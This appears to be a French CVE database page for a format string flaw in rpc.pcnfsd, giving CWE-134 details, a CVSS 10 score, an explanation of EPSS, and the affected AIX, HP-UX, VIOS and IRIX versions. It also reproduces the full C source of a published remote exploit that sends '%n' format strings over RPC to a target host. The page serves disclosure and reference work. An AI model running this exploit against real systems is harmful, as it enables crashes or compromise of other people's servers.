Faiblesses connexes
CWE-ID |
Nom de la faiblesse |
Source |
CWE-134 |
Use of Externally-Controlled Format String The product uses a function that accepts a format string as an argument, but the format string originates from an external source. |
|
Métriques
Métriques |
Score |
Gravité |
CVSS Vecteur |
Source |
V2 |
10 |
|
AV:N/AC:L/Au:N/C:C/I:C/A:C |
[email protected] |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 14407
Date de publication : 2010-07-17 22h00 +00:00
Auteur : Rodrigo Rubira Branco
EDB Vérifié : Yes
/*************************************************************************
* Check Point Software Technologies - Vulnerability Discovery Team (VDT) *
* Rodrigo Rubira Branco - <rbranco *noSPAM* checkpoint.com> *
* *
* rpc.pcnfsd syslog format string vulnerability *
*************************************************************************/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <rpc/rpc.h>
#define PCNFSD_PROG 150001
#define PCNFSD_VERS 1
#define PCNFSD_PR_INIT 2
#define PCNFSD_PR_START 3
struct cm_send {
char *s1;
char *s2;
};
struct cm_send2 {
char *s1;
char *s2;
};
struct cm_reply {
int i;
};
bool_t xdr_cm_send(XDR *xdrs, struct cm_send *objp)
{
if(!xdr_wrapstring(xdrs, &objp->s1))
return (FALSE);
if(!xdr_wrapstring(xdrs, &objp->s2))
return (FALSE);
return (TRUE);
}
bool_t xdr_cm_send2(XDR *xdrs, struct cm_send2 *objp)
{
if(!xdr_wrapstring(xdrs, &objp->s1))
return (FALSE);
if(!xdr_wrapstring(xdrs, &objp->s2))
return (FALSE);
return (TRUE);
}
bool_t xdr_cm_reply(XDR *xdrs, struct cm_reply *objp)
{
if(!xdr_int(xdrs, &objp->i))
return (FALSE);
return (TRUE);
}
int
main(int argc, char *argv[])
{
long ret, offset;
int len, x, y, i;
char *hostname, *b;
CLIENT *cl;
struct cm_send send;
struct cm_send2 send2;
struct cm_reply reply;
struct timeval tm = { 10, 0 };
enum clnt_stat stat;
printf("-= rpc.pcnfsd remote format string exploit, tested against AIX 6.1.0 and lower =-\n");
printf("-= Check Point Software Technologies - Vulnerability Discovery Team (VDT) =-\n");
printf("-= Rodrigo Rubira Branco <rbranco *noSPAM* checkpoint.com> =-\n\n");
if(argc < 2) {
printf("Usage: %s [hostname]\n", argv[0]);
exit(1);
}
hostname = argv[1];
send.s1 = "AAAA%n%n%n%n%n%n%n%n%n"; // Create the dir on /var/spool/pcnfs
send.s2 = "";
send2.s1 = "AAAA%n%n%n%n%n%n%n%n%n";// Call the dir to trigger fmt bug
send2.s2 = "";
printf("\nSending PCNFSD_PR_INIT to the server ... ");
if(!(cl=clnt_create(hostname,PCNFSD_PROG,PCNFSD_VERS,"udp"))){
clnt_pcreateerror("\nerror");exit(-1);
}
stat=clnt_call(cl, PCNFSD_PR_INIT, xdr_cm_send, (caddr_t) &send,
xdr_cm_reply, (caddr_t) &reply, tm);
clnt_destroy(cl);
printf("done!\n");
printf("Sending PCNFSD_PR_START procedure ... ");
if(!(cl=clnt_create(hostname,PCNFSD_PROG,PCNFSD_VERS,"udp"))){
clnt_pcreateerror("\nerror");exit(-1);
}
cl->cl_auth = authunix_create("localhost", 0, 0, 0, NULL);
stat=clnt_call(cl, PCNFSD_PR_START, xdr_cm_send2, (caddr_t) &send2,
xdr_cm_reply, (caddr_t) &reply, tm);
printf("done!\n");
clnt_destroy(cl);
}
Products Mentioned
Configuraton 0
Hp>>Nfs\/oncplus >> Version To (including) b.11.31_09
Hp>>Hp-ux >> Version b.11.11
Hp>>Hp-ux >> Version b.11.23
Hp>>Hp-ux >> Version b.11.31
Configuraton 0
Ibm>>Aix >> Version To (including) 5.3
Ibm>>Aix >> Version 1.2.1
Ibm>>Aix >> Version 1.3
Ibm>>Aix >> Version 2.2.1
Ibm>>Aix >> Version 3.1
Ibm>>Aix >> Version 3.2
Ibm>>Aix >> Version 3.2.0
Ibm>>Aix >> Version 3.2.4
Ibm>>Aix >> Version 3.2.5
Ibm>>Aix >> Version 4
Ibm>>Aix >> Version 4.0
Ibm>>Aix >> Version 4.1
Ibm>>Aix >> Version 4.1.1
Ibm>>Aix >> Version 4.1.2
Ibm>>Aix >> Version 4.1.3
Ibm>>Aix >> Version 4.1.4
Ibm>>Aix >> Version 4.1.5
Ibm>>Aix >> Version 4.2
Ibm>>Aix >> Version 4.2.0
Ibm>>Aix >> Version 4.2.1
Ibm>>Aix >> Version 4.2.1.12
Ibm>>Aix >> Version 4.3
Ibm>>Aix >> Version 4.3.0
Ibm>>Aix >> Version 4.3.1
Ibm>>Aix >> Version 4.3.2
Ibm>>Aix >> Version 4.3.3
Ibm>>Aix >> Version 5.1
Ibm>>Aix >> Version 5.1.0.10
Ibm>>Aix >> Version 5.1l
Ibm>>Aix >> Version 5.2
Ibm>>Aix >> Version 5.2.0
Ibm>>Aix >> Version 5.2.0.50
Ibm>>Aix >> Version 5.2.0.54
Ibm>>Aix >> Version 5.2.2
Ibm>>Aix >> Version 5.2_l
Ibm>>Aix >> Version 6.1
Ibm>>Aix >> Version 430
Configuraton 0
Ibm>>Vios >> Version To (including) 1.5
Ibm>>Vios >> Version 1.4
Ibm>>Vios >> Version 2.1
Configuraton 0
Sgi>>Irix >> Version 6.5
Références